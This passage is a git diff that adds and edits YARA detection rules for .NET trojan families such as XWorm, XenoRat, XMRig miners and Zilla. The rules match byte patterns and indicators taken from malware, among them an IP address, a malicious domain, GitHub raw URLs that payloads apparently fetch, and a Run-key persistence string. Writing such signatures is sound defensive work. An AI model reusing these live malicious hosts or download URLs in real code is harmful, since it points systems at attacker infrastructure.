-0,0 +1,11 @@ + +rule Trojan_BAT_XWorm_STUP_MTB{ + meta: + description = "Trojan:BAT/XWorm.STUP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {28 3c 00 00 0a 0c 03 7e ?? 00 00 04 73 3d 00 00 0a 0d 08 09 1f 20 6f 3e 00 00 0a 6f 3f 00 00 0a } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_SUBS_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_SUBS_MTB.yar new file mode 100644 index 0000000000..6dbb6b5916 --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_SUBS_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_XWorm_SUBS_MTB{ + meta: + description = "Trojan:BAT/XWorm.SUBS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {12 00 12 01 28 ?? 00 00 06 02 06 07 28 ?? 00 00 06 51 28 ?? 00 00 06 0c 03 08 28 ?? 00 00 06 51 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_WQ_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_WQ_MTB.yar new file mode 100644 index 0000000000..a9a5c94329 --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_WQ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_XWorm_WQ_MTB{ + meta: + description = "Trojan:BAT/XWorm.WQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {72 f6 08 00 70 11 05 6f 1c 00 00 0a 28 1d 00 00 0a 28 17 00 00 0a } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_ZRY_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_ZRY_MTB.yar new file mode 100644 index 0000000000..991aa1f6fd --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_ZRY_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_XWorm_ZRY_MTB{ + meta: + description = "Trojan:BAT/XWorm.ZRY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 00 " + + strings : + $a_03_0 = {11 1c 11 1b 11 1b 6f ?? 00 00 0a 11 1b 6f ?? 00 00 0a 6f ?? 00 00 0a 17 73 ?? 00 00 0a 13 1d 11 1d 11 16 16 11 16 8e 69 6f ?? 00 00 0a 11 1d 6f ?? 00 00 0a de 0c } //10 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=12 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_Xworm_PGW_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_Xworm_PGW_MTB.yar new file mode 100644 index 0000000000..d0f97b7501 --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_Xworm_PGW_MTB.yar @@ -0,0 +1,32 @@ + +rule Trojan_BAT_Xworm_PGW_MTB{ + meta: + description = "Trojan:BAT/Xworm.PGW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {5d 16 fe 01 13 05 11 05 2c 0f 02 11 04 02 11 04 91 20 ?? 00 00 00 61 b4 9c 11 04 17 d6 13 04 11 04 09 31 d9 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} +rule Trojan_BAT_Xworm_PGW_MTB_2{ + meta: + description = "Trojan:BAT/Xworm.PGW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {14 fe 06 38 00 00 06 73 ?? 00 00 0a 0a 06 14 73 ?? 00 00 0a 20 10 27 00 00 20 98 3a 00 00 6f ?? 00 00 0a 73 ?? 00 00 0a 20 10 27 00 00 20 98 3a 00 00 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} +rule Trojan_BAT_Xworm_PGW_MTB_3{ + meta: + description = "Trojan:BAT/Xworm.PGW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_03_0 = {11 1f 16 94 13 23 11 1f 17 94 13 24 02 11 23 11 24 6f ?? 00 00 0a 13 25 0e 0b 2c 39 11 1b 18 31 34 } //5 + $a_01_1 = {11 27 06 61 06 61 d2 13 27 11 28 16 61 d2 13 28 11 29 06 61 06 61 d2 13 29 } //5 + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*5) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_Xworm_SWD_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_Xworm_SWD_MTB.yar new file mode 100644 index 0000000000..d3f1ab13b7 --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_Xworm_SWD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Xworm_SWD_MTB{ + meta: + description = "Trojan:BAT/Xworm.SWD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {0c 08 6f 07 00 00 0a 0d 09 14 28 ?? 00 00 0a 2c 44 72 d4 aa 01 70 09 6f ?? 00 00 0a 28 ?? 00 00 0a 28 ?? 00 00 0a 09 6f ?? 00 00 0a 8e 69 2c 16 17 8d 01 00 00 01 13 07 11 07 16 16 8d 05 00 00 01 a2 11 07 2b 01 14 13 04 09 14 11 04 6f ?? 00 00 0a 26 2b 13 72 fc aa 01 70 72 5c ab 01 70 16 1f 10 28 ?? 00 00 0a 26 de 23 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_Xworm_ZSS_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_Xworm_ZSS_MTB.yar new file mode 100644 index 0000000000..dd16a9faff --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_Xworm_ZSS_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Xworm_ZSS_MTB{ + meta: + description = "Trojan:BAT/Xworm.ZSS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 00 " + + strings : + $a_03_0 = {2d 01 2a 72 01 00 00 70 28 ?? 00 00 06 0a 16 0b 2b 1a 06 07 8f ?? 00 00 01 25 71 ?? 00 00 01 1f 5a 61 d2 81 ?? 00 00 01 07 17 58 0b 07 06 8e 69 32 e0 } //10 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=12 + +} \ No newline at end of file diff --git a/Trojan/BAT/XenoRat/Trojan_BAT_XenoRat_SLTR_MTB.yar b/Trojan/BAT/XenoRat/Trojan_BAT_XenoRat_SLTR_MTB.yar new file mode 100644 index 0000000000..c84fff5db7 --- /dev/null +++ b/Trojan/BAT/XenoRat/Trojan_BAT_XenoRat_SLTR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_XenoRat_SLTR_MTB{ + meta: + description = "Trojan:BAT/XenoRat.SLTR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {7b 0f 00 00 04 2c 01 2a 02 17 7d 0f 00 00 04 72 18 02 00 70 18 73 26 00 00 0a 0a 02 06 28 5c 00 00 0a } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Xmrig/Trojan_BAT_XMRig_GRR_MTB.yar b/Trojan/BAT/Xmrig/Trojan_BAT_XMRig_GRR_MTB.yar new file mode 100644 index 0000000000..0f1cff8040 --- /dev/null +++ b/Trojan/BAT/Xmrig/Trojan_BAT_XMRig_GRR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_XMRig_GRR_MTB{ + meta: + description = "Trojan:BAT/XMRig.GRR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {72 67 00 00 70 28 14 00 00 0a 13 00 38 00 00 00 00 72 c1 00 00 70 28 14 00 00 0a 13 01 38 1a 01 00 00 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Xmrig/Trojan_BAT_XMRig_IJIA_MTB.yar b/Trojan/BAT/Xmrig/Trojan_BAT_XMRig_IJIA_MTB.yar new file mode 100644 index 0000000000..c6cbcccfb5 --- /dev/null +++ b/Trojan/BAT/Xmrig/Trojan_BAT_XMRig_IJIA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_XMRig_IJIA_MTB{ + meta: + description = "Trojan:BAT/XMRig.IJIA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 00 " + + strings : + $a_01_0 = {06 6f 0e 00 00 0a 0b 06 6f 13 00 00 0a 07 28 14 00 00 0a 0c 08 6f 15 00 00 0a 7e 02 00 00 04 25 3a 17 00 00 00 26 7e 01 00 00 04 fe 06 06 00 00 06 73 16 00 00 0a 25 80 02 00 00 04 28 01 00 00 2b 0d } //3 + condition: + ((#a_01_0 & 1)*3) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/Xmrig/Trojan_BAT_XMRig_IJ_MTB.yar b/Trojan/BAT/Xmrig/Trojan_BAT_XMRig_IJ_MTB.yar new file mode 100644 index 0000000000..1ef1a6cf5d --- /dev/null +++ b/Trojan/BAT/Xmrig/Trojan_BAT_XMRig_IJ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_XMRig_IJ_MTB{ + meta: + description = "Trojan:BAT/XMRig.IJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 00 " + + strings : + $a_01_0 = {6f 0e 00 00 0a 0b 06 6f 13 00 00 0a 07 28 14 00 00 0a 0c 08 6f 15 00 00 0a 7e 02 00 00 04 25 3a 17 00 00 00 26 7e 01 00 00 04 fe 06 06 00 00 06 73 16 00 00 0a 25 80 02 00 00 04 28 01 00 00 2b } //3 + condition: + ((#a_01_0 & 1)*3) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/Xmrig/Trojan_BAT_Xmrig_AXR_MTB.yar b/Trojan/BAT/Xmrig/Trojan_BAT_Xmrig_AXR_MTB.yar index f255d3e2ff..9eb99563c9 100644 --- a/Trojan/BAT/Xmrig/Trojan_BAT_Xmrig_AXR_MTB.yar +++ b/Trojan/BAT/Xmrig/Trojan_BAT_Xmrig_AXR_MTB.yar @@ -9,4 +9,14 @@ rule Trojan_BAT_Xmrig_AXR_MTB{ condition: ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 +} +rule Trojan_BAT_Xmrig_AXR_MTB_2{ + meta: + description = "Trojan:BAT/Xmrig.AXR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {72 5b 00 00 70 28 ?? 00 00 0a 0b 28 ?? 00 00 0a 0c 08 06 6f ?? 00 00 0a 08 07 6f ?? 00 00 0a 73 05 00 00 0a 0d 09 08 6f ?? 00 00 0a 17 73 07 00 00 0a 13 04 11 04 7e 01 00 00 04 16 7e 01 00 00 04 8e 69 6f } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + } \ No newline at end of file diff --git a/Trojan/BAT/Zapchast/Trojan_BAT_Zapchast_ELO_MTB.yar b/Trojan/BAT/Zapchast/Trojan_BAT_Zapchast_ELO_MTB.yar new file mode 100644 index 0000000000..3c13794d66 --- /dev/null +++ b/Trojan/BAT/Zapchast/Trojan_BAT_Zapchast_ELO_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Zapchast_ELO_MTB{ + meta: + description = "Trojan:BAT/Zapchast.ELO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {11 0c 11 10 58 11 13 11 13 8e 69 12 01 6f 20 00 00 06 2d 06 73 0b 00 00 0a 7a 11 0d 1f 28 58 13 0d 11 0f 17 58 13 0f 11 0f 11 0e 32 84 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zilla/Trojan_BAT_Zilla_AYB_MTB.yar b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_AYB_MTB.yar new file mode 100644 index 0000000000..7a559e4250 --- /dev/null +++ b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_AYB_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_BAT_Zilla_AYB_MTB{ + meta: + description = "Trojan:BAT/Zilla.AYB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 00 " + + strings : + $a_00_0 = {61 00 31 00 30 00 34 00 33 00 30 00 37 00 37 00 2e 00 78 00 73 00 70 00 68 00 2e 00 72 00 75 00 } //2 a1043077.xsph.ru + $a_00_1 = {73 00 65 00 6c 00 65 00 63 00 74 00 20 00 2a 00 20 00 66 00 72 00 6f 00 6d 00 20 00 57 00 69 00 6e 00 33 00 32 00 5f 00 4f 00 70 00 65 00 72 00 61 00 74 00 69 00 6e 00 67 00 53 00 79 00 73 00 74 00 65 00 6d 00 } //1 select * from Win32_OperatingSystem + $a_00_2 = {53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 52 00 75 00 6e 00 } //1 SOFTWARE\Microsoft\Windows\CurrentVersion\Run + $a_01_3 = {44 6f 6e 77 6f 61 6c 64 46 69 6c 65 53 74 61 72 74 } //1 DonwoaldFileStart + $a_01_4 = {52 65 6d 6f 76 65 46 72 6f 6d 53 74 61 72 74 75 70 } //1 RemoveFromStartup + condition: + ((#a_00_0 & 1)*2+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zilla/Trojan_BAT_Zilla_AZL_MTB.yar b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_AZL_MTB.yar index 7f1bcf2e9b..a3117cb0e1 100644 --- a/Trojan/BAT/Zilla/Trojan_BAT_Zilla_AZL_MTB.yar +++ b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_AZL_MTB.yar @@ -1,5 +1,15 @@ rule Trojan_BAT_Zilla_AZL_MTB{ + meta: + description = "Trojan:BAT/Zilla.AZL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {26 16 0c 2b 74 20 f4 01 00 00 28 ?? 00 00 0a 12 03 fe 15 ?? 00 00 02 12 03 28 ?? 00 00 06 2d 0e 03 72 ?? 17 00 70 6f ?? 00 00 0a 26 2b 47 09 7b ?? 00 00 04 07 7b ?? 00 00 04 33 0e 09 7b ?? 00 00 04 07 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} +rule Trojan_BAT_Zilla_AZL_MTB_2{ meta: description = "Trojan:BAT/Zilla.AZL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 00 " @@ -12,7 +22,7 @@ rule Trojan_BAT_Zilla_AZL_MTB{ ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1+(#a_01_2 & 1)*5+(#a_01_3 & 1)*3) >=11 } -rule Trojan_BAT_Zilla_AZL_MTB_2{ +rule Trojan_BAT_Zilla_AZL_MTB_3{ meta: description = "Trojan:BAT/Zilla.AZL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " @@ -24,4 +34,17 @@ rule Trojan_BAT_Zilla_AZL_MTB_2{ condition: ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=5 +} +rule Trojan_BAT_Zilla_AZL_MTB_4{ + meta: + description = "Trojan:BAT/Zilla.AZL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 04 00 00 " + + strings : + $a_01_0 = {31 00 38 00 35 00 2e 00 31 00 32 00 35 00 2e 00 35 00 30 00 2e 00 32 00 30 00 } //5 185.125.50.20 + $a_01_1 = {67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 4e 00 69 00 6b 00 6f 00 42 00 61 00 62 00 62 00 79 00 2f 00 6e 00 69 00 6b 00 65 00 6c 00 69 00 76 00 65 00 2f 00 72 00 61 00 77 00 2f 00 72 00 65 00 66 00 73 00 2f 00 68 00 65 00 61 00 64 00 73 00 2f 00 6d 00 61 00 69 00 6e 00 2f 00 74 00 6f 00 72 00 2e 00 74 00 78 00 74 00 } //4 github.com/NikoBabby/nikelive/raw/refs/heads/main/tor.txt + $a_01_2 = {53 69 6c 65 6e 74 5c 53 69 6c 65 6e 74 5c 6f 62 6a 5c 52 65 6c 65 61 73 65 5c 74 6f 72 65 2e 70 64 62 } //3 Silent\Silent\obj\Release\tore.pdb + $a_01_3 = {72 00 61 00 77 00 2e 00 67 00 69 00 74 00 68 00 75 00 62 00 75 00 73 00 65 00 72 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2e 00 63 00 6f 00 6d 00 2f 00 54 00 72 00 6f 00 6f 00 74 00 30 00 46 00 6f 00 62 00 69 00 61 00 2f 00 54 00 65 00 73 00 74 00 46 00 69 00 6c 00 65 00 2f 00 72 00 65 00 66 00 73 00 2f 00 68 00 65 00 61 00 64 00 73 00 2f 00 6d 00 61 00 69 00 6e 00 2f 00 6f 00 75 00 74 00 70 00 75 00 74 00 5f 00 6c 00 2e 00 74 00 78 00 74 00 } //2 raw.githubusercontent.com/Troot0Fobia/TestFile/refs/heads/main/output_l.txt + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*4+(#a_01_2 & 1)*3+(#a_01_3 & 1)*2) >=14 + } \ No newline at end of file diff --git a/Trojan/BAT/Zilla/Trojan_BAT_Zilla_GPP_MTB.yar b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_GPP_MTB.yar new file mode 100644 index 0000000000..eeb057041d --- /dev/null +++ b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_GPP_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Zilla_GPP_MTB{ + meta: + description = "Trojan:BAT/Zilla.GPP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {11 07 91 13 06 11 06 09 11 04 6f ?? 00 00 0a 28 ?? 00 00 0a 61 b4 28 ?? 00 00 0a 13 05 06 11 05 6f ?? 00 00 0a 11 04 17 d6 09 6f ?? 00 00 0a 5d 13 04 11 07 17 d6 13 07 11 07 11 08 8e b7 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zilla/Trojan_BAT_Zilla_HHK_MTB.yar b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_HHK_MTB.yar deleted file mode 100644 index 38a85f7b9c..0000000000 --- a/Trojan/BAT/Zilla/Trojan_BAT_Zilla_HHK_MTB.yar +++ /dev/null @@ -1,12 +0,0 @@ - -rule Trojan_BAT_Zilla_HHK_MTB{ - meta: - description = "Trojan:BAT/Zilla.HHK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " - - strings : - $a_03_0 = {0a 00 06 03 6f ?? 00 00 0a 00 06 04 6f ?? 00 00 0a 00 06 17 6f ?? 00 00 0a 00 06 6f ?? 00 00 0a 0b 00 07 02 16 02 8e 69 6f ?? 00 00 0a 0c de 16 } //10 - $a_01_1 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor - condition: - ((#a_03_0 & 1)*10+(#a_01_1 & 1)*1) >=11 - -} \ No newline at end of file diff --git a/Trojan/BAT/Zilla/Trojan_BAT_Zilla_MKV_MTB.yar b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_MKV_MTB.yar new file mode 100644 index 0000000000..6ff985e9f0 --- /dev/null +++ b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_MKV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Zilla_MKV_MTB{ + meta: + description = "Trojan:BAT/Zilla.MKV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {38 a1 01 00 00 03 28 ?? 00 00 0a 13 00 20 02 00 00 00 38 d0 ff ff ff 04 28 ?? 00 00 0a 13 01 20 00 00 00 00 7e 25 03 00 04 7b e8 02 00 04 39 b4 ff ff ff 26 20 00 00 00 00 38 a9 ff ff ff 11 04 2a 00 11 02 6f ?? 00 00 0a 13 08 20 00 00 00 00 7e 25 03 00 04 7b 37 03 00 04 39 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 05 00 45 01 00 00 00 05 00 00 00 38 00 00 00 00 00 11 08 02 16 02 8e 69 6f ?? 00 00 0a 13 04 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zilla/Trojan_BAT_Zilla_NH_MTB.yar b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_NH_MTB.yar new file mode 100644 index 0000000000..308c895e69 --- /dev/null +++ b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_NH_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Zilla_NH_MTB{ + meta: + description = "Trojan:BAT/Zilla.NH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_03_0 = {06 08 91 18 5b 1f 0f 58 0d 07 09 d1 13 04 12 04 28 ?? 00 00 0a 28 ?? 00 00 0a 0b 08 18 58 0c 08 06 8e 69 32 db } //2 + $a_03_1 = {a2 25 18 72 ?? 09 00 70 a2 25 19 08 6f ?? 00 00 06 a2 25 1a 72 ?? 09 00 70 a2 28 ?? 00 00 0a 0a 07 6f ?? 00 00 0a 2d b5 } //1 + $a_01_2 = {41 6e 6b 65 74 69 72 6f 76 61 6e 69 65 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //1 Anketirovanie.Properties.Resources.resources + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1+(#a_01_2 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zilla/Trojan_BAT_Zilla_NITC_MTB.yar b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_NITC_MTB.yar new file mode 100644 index 0000000000..e7f4dd988b --- /dev/null +++ b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_NITC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Zilla_NITC_MTB{ + meta: + description = "Trojan:BAT/Zilla.NITC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {00 73 10 00 00 0a 0b 07 72 61 00 00 70 6f ?? 00 00 0a 6f ?? 00 00 0a 6f ?? 00 00 0a 6f ?? 00 00 0a 6f ?? 00 00 0a 0a dd 0d 00 00 00 07 39 06 00 00 00 07 6f ?? 00 00 0a dc dd 03 00 00 00 26 de bf } //2 + $a_01_1 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zilla/Trojan_BAT_Zilla_PA_MTB.yar b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_PA_MTB.yar new file mode 100644 index 0000000000..2f60aaf7d4 --- /dev/null +++ b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_PA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Zilla_PA_MTB{ + meta: + description = "Trojan:BAT/Zilla.PA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {8e 69 5d 91 61 d2 81 ?? ?? 00 01 11 ?? 17 58 13 ?? 11 ?? 11 06 8e 69 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zilla/Trojan_BAT_Zilla_PGA_MTB.yar b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_PGA_MTB.yar new file mode 100644 index 0000000000..785e9d9337 --- /dev/null +++ b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_PGA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Zilla_PGA_MTB{ + meta: + description = "Trojan:BAT/Zilla.PGA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_80_0 = {41 41 67 58 41 6b 43 51 2f 45 7a 48 7a 4c 2f 66 35 58 2f 2f 77 34 77 48 2f 62 6c 5a 77 63 64 6f 59 54 6e 36 2f 2b 66 39 66 42 2f 74 71 70 66 75 76 64 72 42 36 76 } //AAgXAkCQ/EzHzL/f5X//w4wH/blZwcdoYTn6/+f9fB/tqpfuvdrB6v 1 + $a_80_1 = {4a 34 6d 78 76 45 66 48 47 74 72 51 45 75 7a 68 37 41 4b 75 44 68 35 2b 47 75 44 4b 51 37 78 76 48 31 58 58 4f 54 65 7a 64 44 54 57 52 66 70 44 6c 4c 58 66 5a 44 6a 6e 76 6f 30 52 47 47 52 6b 51 35 38 49 45 53 4a 31 7a 71 48 } //J4mxvEfHGtrQEuzh7AKuDh5+GuDKQ7xvH1XXOTezdDTWRfpDlLXfZDjnvo0RGGRkQ58IESJ1zqH 1 + $a_80_2 = {46 78 6f 64 41 74 79 73 57 62 48 72 74 45 41 70 65 64 44 34 53 51 41 43 5a 54 41 39 67 42 7a 47 43 67 55 4c 67 77 43 44 69 41 4e 6b 6b 30 36 4b 7a 71 55 31 64 6e 5a 6e 5a 6d 64 6d 6f 58 33 35 55 67 33 43 38 31 4f 41 45 41 41 41 41 41 41 41 49 73 34 48 } //FxodAtysWbHrtEApedD4SQACZTA9gBzGCgULgwCDiANkk06KzqU1dnZnZmdmoX35Ug3C81OAEAAAAAAAIs4H 3 + condition: + ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*3) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zilla/Trojan_BAT_Zilla_SIRT_MTB.yar b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_SIRT_MTB.yar new file mode 100644 index 0000000000..f3eca35722 --- /dev/null +++ b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_SIRT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Zilla_SIRT_MTB{ + meta: + description = "Trojan:BAT/Zilla.SIRT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {72 0d 22 00 70 28 3b 00 00 0a 00 72 53 14 00 70 28 3b 00 00 0a 00 72 3f 22 00 70 28 3c 00 00 0a 00 28 3d 00 00 0a 0a 12 00 28 3e 00 00 0a 0b 28 3f 00 00 0a 00 02 07 28 57 00 00 06 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zilla/Trojan_BAT_Zilla_SLD_MTB.yar b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_SLD_MTB.yar new file mode 100644 index 0000000000..b2dc17b961 --- /dev/null +++ b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_SLD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Zilla_SLD_MTB{ + meta: + description = "Trojan:BAT/Zilla.SLD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {7d 2d 00 00 04 02 17 7d 2a 00 00 04 02 28 2d 00 00 06 0a 73 3c 00 00 06 0b 07 06 16 6f 3f 00 00 06 2d 0b } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Zilla/Trojan_BAT_Zilla_SLEW_MTB.yar b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_SLEW_MTB.yar new file mode 100644 index 0000000000..752fd9c80c --- /dev/null +++ b/Trojan/BAT/Zilla/Trojan_BAT_Zilla_SLEW_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Zilla_SLEW_MTB{ + meta: + description = "Trojan:BAT/Zilla.SLEW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {02 00 